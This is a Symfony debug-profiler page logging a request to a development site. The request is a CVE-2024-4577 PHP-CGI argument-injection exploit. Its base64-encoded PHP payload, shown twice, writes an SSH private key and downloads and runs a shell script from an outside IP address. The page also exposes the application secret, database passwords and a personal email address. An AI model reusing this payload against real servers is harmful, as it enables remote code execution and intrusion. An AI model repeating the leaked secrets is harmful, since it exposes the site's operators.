https://51.77.244.236/hello.world?%ADd%20allow_url_include%3D1%20%ADd%20auto_prepend_file%3Dphp%3A%2F%2Finput=

ErrorController

Request

GET Parameters

Key Value
�d_allow_url_include=1_�d_auto_prepend_file=php://input
""

POST Parameters

Key Value
<?php_shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No"));_echo(md5("Hello_CVE-2024-4577"));_?>
""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller
"error_controller"
_stopwatch_token
"410168"
exception
Symfony\Component\HttpKernel\Exception\NotFoundHttpException {#82
  #message: "No route found for "POST https://51.77.244.236/hello.world""
  #code: 0
  #file: "/home/efc/efc974/dev/site/vendor/symfony/http-kernel/EventListener/RouterListener.php"
  #line: 135
  -previous: Symfony\Component\Routing\Exception\ResourceNotFoundException {#133 …}
  -statusCode: 404
  -headers: []
  trace: {
    /home/efc/efc974/dev/site/vendor/symfony/http-kernel/EventListener/RouterListener.php:135 {
      Symfony\Component\HttpKernel\EventListener\RouterListener->onKernelRequest(RequestEvent $event) …
      › 
      ›     throw new NotFoundHttpException($message, $e);} catch (MethodNotAllowedException $e) {
    }
    /home/efc/efc974/dev/site/vendor/symfony/event-dispatcher/Debug/WrappedListener.php:118 {
      Symfony\Component\EventDispatcher\Debug\WrappedListener->__invoke(object $event, string $eventName, EventDispatcherInterface $dispatcher): void …
      › try {    ($this->optimizedListener ?? $this->listener)($event, $eventName, $dispatcher);} finally {
    }
    /home/efc/efc974/dev/site/vendor/symfony/event-dispatcher/EventDispatcher.php:230 {
      Symfony\Component\EventDispatcher\EventDispatcher->callListeners(iterable $listeners, string $eventName, object $event) …
      ›     }    $listener($event, $eventName, $this);}
    }
    /home/efc/efc974/dev/site/vendor/symfony/event-dispatcher/EventDispatcher.php:59 {
      Symfony\Component\EventDispatcher\EventDispatcher->dispatch(object $event, ?string $eventName = null): object …
      › if ($listeners) {    $this->callListeners($listeners, $eventName, $event);}
    }
    /home/efc/efc974/dev/site/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:154 {
      Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher->dispatch(object $event, ?string $eventName = null): object …
      › try {    $this->dispatcher->dispatch($event, $eventName);} finally {
    }
    /home/efc/efc974/dev/site/vendor/symfony/http-kernel/HttpKernel.php:139 {
      Symfony\Component\HttpKernel\HttpKernel->handleRaw(Request $request, int $type = self::MAIN_REQUEST): Response …
      › $event = new RequestEvent($this, $request, $type);$this->dispatcher->dispatch($event, KernelEvents::REQUEST);}
    /home/efc/efc974/dev/site/vendor/symfony/http-kernel/HttpKernel.php:75 {
      Symfony\Component\HttpKernel\HttpKernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true) …
      › try {    return $this->handleRaw($request, $type);} catch (\Exception $e) {
    }
    /home/efc/efc974/dev/site/vendor/symfony/http-kernel/Kernel.php:202 {
      Symfony\Component\HttpKernel\Kernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true) …
      › try {    return $this->getHttpKernel()->handle($request, $type, $catch);} finally {
    }
    /home/efc/efc974/dev/site/public/index.php:35 {$request = Request::createFromGlobals();$response = $kernel->handle($request);$response->send();
    }
  }
}
logger
Symfony\Bridge\Monolog\Logger {#205 …9}

Request Headers

Header Value
accept
"*/*"
connection
"keep-alive"
content-length
"1193"
content-type
"application/x-www-form-urlencoded"
host
"51.77.244.236:443"
upgrade-insecure-requests
"1"
user-agent
"libredtail-http"
x-php-ob-level
"1"

Request Content

Raw

<?php shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No")); echo(md5("Hello CVE-2024-4577")); ?>

Response

Response Headers

Header Value
cache-control
"no-cache, private"
content-type
"text/html; charset=UTF-8"
date
"Mon, 21 Sep 2026 00:20:28 GMT"
vary
"Accept"
x-debug-exception
"No%20route%20found%20for%20%22POST%20https%3A%2F%2F51.77.244.236%2Fhello.world%22"
x-debug-exception-file
"%2Fhome%2Fefc%2Fefc974%2Fdev%2Fsite%2Fvendor%2Fsymfony%2Fhttp-kernel%2FEventListener%2FRouterListener.php:135"
x-debug-token
"18dfbf"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV
"dev"
APP_SECRET
"78JUN9Yh4d94zaUQVDyr7G5wvm1IES40"
CLIENT_EFC
"efc974"
DATABASE_URL
"postgresql://efc974_dev:efc974_dev@127.0.0.1:5432/efc974_dev"
DATABASE_URL_SA
"postgresql://efc974_dev_sa:efc974_dev_sa@127.0.0.1:5432/efc974_dev"
ENVIRONNEMENT_EFC
"dev"
ID_GOOGLE_ANALYTICS
"G-VLRXK69CPB"
MAILER_DSN
"smtp://vps-abdcc3c5.vps.ovh.net:25"
MAILS_ADRESSE_BOUCHON
"catherine.bonneton+efc974devenfenconfiance@gmail.com"
REPERTOIRE_PHOTOS
"/home/efc/efc974/dev/photos"
REPERTOIRE_REJETS
"/home/dpt974_dev/from_efc"
VERSION
"2848d34f169dbb4ddbe02791decb3e503ce4b3f7"

Defined as regular env variables

Key Value
CONTENT_LENGTH
"1193"
CONTENT_TYPE
"application/x-www-form-urlencoded"
CONTEXT_DOCUMENT_ROOT
"/home/efc/efc974/dev/site/public"
CONTEXT_PREFIX
""
DOCUMENT_ROOT
"/home/efc/efc974/dev/site/public"
GATEWAY_INTERFACE
"CGI/1.1"
HTTPS
"on"
HTTP_ACCEPT
"*/*"
HTTP_CONNECTION
"keep-alive"
HTTP_HOST
"51.77.244.236:443"
HTTP_UPGRADE_INSECURE_REQUESTS
"1"
HTTP_USER_AGENT
"libredtail-http"
PATH
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PHP_SELF
"/index.php"
QUERY_STRING
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_HTTPS
"on"
REDIRECT_QUERY_STRING
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_STATUS
"200"
REDIRECT_URL
"/hello.world"
REMOTE_ADDR
"169.58.204.118"
REMOTE_PORT
"54246"
REQUEST_METHOD
"GET"
REQUEST_SCHEME
"https"
REQUEST_TIME
1789950028
REQUEST_TIME_FLOAT
1789950028.956
REQUEST_URI
"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
SCRIPT_FILENAME
"/home/efc/efc974/dev/site/public/index.php"
SCRIPT_NAME
"/index.php"
SERVER_ADDR
"51.77.244.236"
SERVER_ADMIN
"[no address given]"
SERVER_NAME
"51.77.244.236"
SERVER_PORT
"443"
SERVER_PROTOCOL
"HTTP/1.1"
SERVER_SIGNATURE
"<address>Apache/2.4.68 (Debian) Server at 51.77.244.236 Port 443</address>\n"
SERVER_SOFTWARE
"Apache/2.4.68 (Debian)"
SYMFONY_DOTENV_VARS
"APP_ENV,APP_SECRET,ID_GOOGLE_ANALYTICS,REPERTOIRE_PHOTOS,DATABASE_URL,DATABASE_URL_SA,VERSION,REPERTOIRE_REJETS,MAILS_ADRESSE_BOUCHON,CLIENT_EFC,ENVIRONNEMENT_EFC,MAILER_DSN"

Parent Request

Return to parent request (token = 8bfe41)

Key Value
_remove_csp_headers
true
_stopwatch_token
"45750d"